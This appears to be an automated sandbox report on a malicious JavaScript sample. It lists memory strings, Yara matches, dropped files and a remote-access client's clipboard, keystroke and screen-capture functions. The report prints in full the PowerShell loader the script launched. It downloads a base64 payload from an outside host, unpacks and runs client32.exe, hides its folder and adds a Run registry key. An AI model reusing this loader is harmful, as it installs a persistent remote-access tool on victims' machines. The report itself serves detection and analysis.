Source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: powershell.exe, 00000001.00000002.1839088758.00000170CA885000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1839088758.00000170CA885000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1839088758.00000170CA885000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/globalsCompositeOperation
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/variableCompositeOperation
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Events/mousewheel)
Source: wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://echarts.apache.org/examples/en/editor.html?c=custom-gantt-flight
Source: powershell.exe, 00000001.00000002.1816720389.00000170BC0D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/apache/echarts/issues/14266
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/apache/incubator-echarts/issues/11369
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/apache/incubator-echarts/issues/12229
Source: wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/d3/d3-hierarchy/blob/4c1f038f2725d6eae2e49b61d01456400694bac4/src/tree.js
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/arrays/quantile.js
Source: wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/layout/treemap.js
Source: wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/layout/force.js
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/time/scale.js
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ecomfe/zrender/blob/master/LICENSE.txt
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://graphics.ethz.ch/teaching/scivis_common/Literature/squarifiedTreeMaps.pdf
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jsbench.me/2vkpcekkvw/1)
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jsperf.com/try-catch-performance-overhead
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://momentjs.com/
Source: powershell.exe, 00000001.00000002.1816720389.00000170BC156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1839088758.00000170CA885000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000001.00000002.1816720389.00000170BBE9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000001.00000002.1816720389.00000170BBE9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-daylight-saving-time-adjustment).
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com/safety/?frombrowser=yes&url=$1
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com/safety/?frombrowser=yes&url=$2
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com/safety/?frombrowser=yes&url=$3
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com/safety/?frombrowser=yes?url=$2
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com/safety/?frombrowser=yes?url=$3
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com/support/browser/security/internet-fraud.xml
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB0F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com/support/browser/security/protection.html
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com/support/browser/security/protection.htmlCopie
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com/support/browser/security/protection.htmlSafe
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com/support/yabrowser/security/sms-fraud.xml
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB0F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.uz/safety/?frombrowser=yes&url=$2
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB0F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.uz/support/browser/security/internet-fraud.xml
Source: powershell.exe, 00000001.00000002.1816720389.00000170BB0F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.uz/support/browser/security/protection.htmlXavfsiz

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_1101FC20 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

3_2_1101FC20

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110335A0 GetClipboardFormatNameA,SetClipboardData,	3_2_110335A0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1101FC20 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	3_2_1101FC20
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110335A0 GetClipboardFormatNameA,SetClipboardData,	7_2_110335A0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1101FC20 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	7_2_1101FC20

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_11033320 IsClipboardFormatAvailable,GetClipboardData,GetClipboardFormatNameA,GetLastError,GlobalUnlock,

3_2_11033320

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_110077A0 LoadCursorA,SetCursor,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,CreateDCA,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SelectClipRgn,BitBlt,SelectClipRgn,DeleteObject,DeleteDC,BitBlt,ReleaseDC,CreatePen,CreateSolidBrush,GetSysColor,LoadBitmapA,_memset,_swscanf,CreateFontIndirectA,_memset,GetStockObject,GetObjectA,CreateFontIndirectA,GetWindowRect,SetWindowTextA,GetSystemMetrics,GetSystemMetrics,SetWindowPos,UpdateWindow,SetCursor,

3_2_110077A0

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11114590 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		3_2_11114590
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11114590 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		7_2_11114590

Source: Yara match	File source: 8.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1988422325.0000000011194000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7968, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_111165C0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		3_2_111165C0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_111165C0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		7_2_111165C0

System Summary

Malicious sample detected (through community Yara rule)

Source: updates.js, type: SAMPLE	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: wscript.exe PID: 7336, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7424, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\pcicapi.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\remcmdstub.exe	Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;			Jump to behavior

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_11113190: GetKeyState,DeviceIoControl,keybd_event,

3_2_11113190

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 7_2_1108C800 _memset,GetVersionExA,OpenWindowStationA,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopA,SetProcessWindowStation,CloseWindowStation,SetHandleInformation,SetHandleInformation,SetHandleInformation,_memset,LoadLibraryA,GetProcAddress,IsBadReadPtr,CreateProcessAsUserA,GetProcAddress,FreeLibrary,MsgWaitForMultipleObjects,MsgWaitForMultipleObjects,PeekMessageA,DispatchMessageA,PeekMessageA,DispatchMessageA,PeekMessageA,MsgWaitForMultipleObjects,CloseHandle,CloseHandle,CloseHandle,GetProcessHeap,HeapFree,GetLastError,CloseDesktop,GetLastError,SetProcessWindowStation,CloseWindowStation,GetLastError,

7_2_1108C800

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	3_2_1102D9F4
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	3_2_1102DD21
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1102D900 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,FindCloseChangeNotification,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102D900

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11073680	3_2_11073680
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11029BB0	3_2_11029BB0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110627B0	3_2_110627B0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110336D0	3_2_110336D0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11051800	3_2_11051800
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1115F840	3_2_1115F840
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1101BCD0	3_2_1101BCD0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11087F50	3_2_11087F50
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11045E70	3_2_11045E70
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1101C110	3_2_1101C110
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_111640E0	3_2_111640E0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11168345	3_2_11168345
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_111265B0	3_2_111265B0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11070430	3_2_11070430
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11080740	3_2_11080740
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1100892B	3_2_1100892B
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110627B0	7_2_110627B0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11073680	7_2_11073680
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110336D0	7_2_110336D0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11051800	7_2_11051800
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1115F840	7_2_1115F840
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11029BB0	7_2_11029BB0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1101BCD0	7_2_1101BCD0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11087F50	7_2_11087F50
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11045E70	7_2_11045E70
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1101C110	7_2_1101C110
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_111640E0	7_2_111640E0
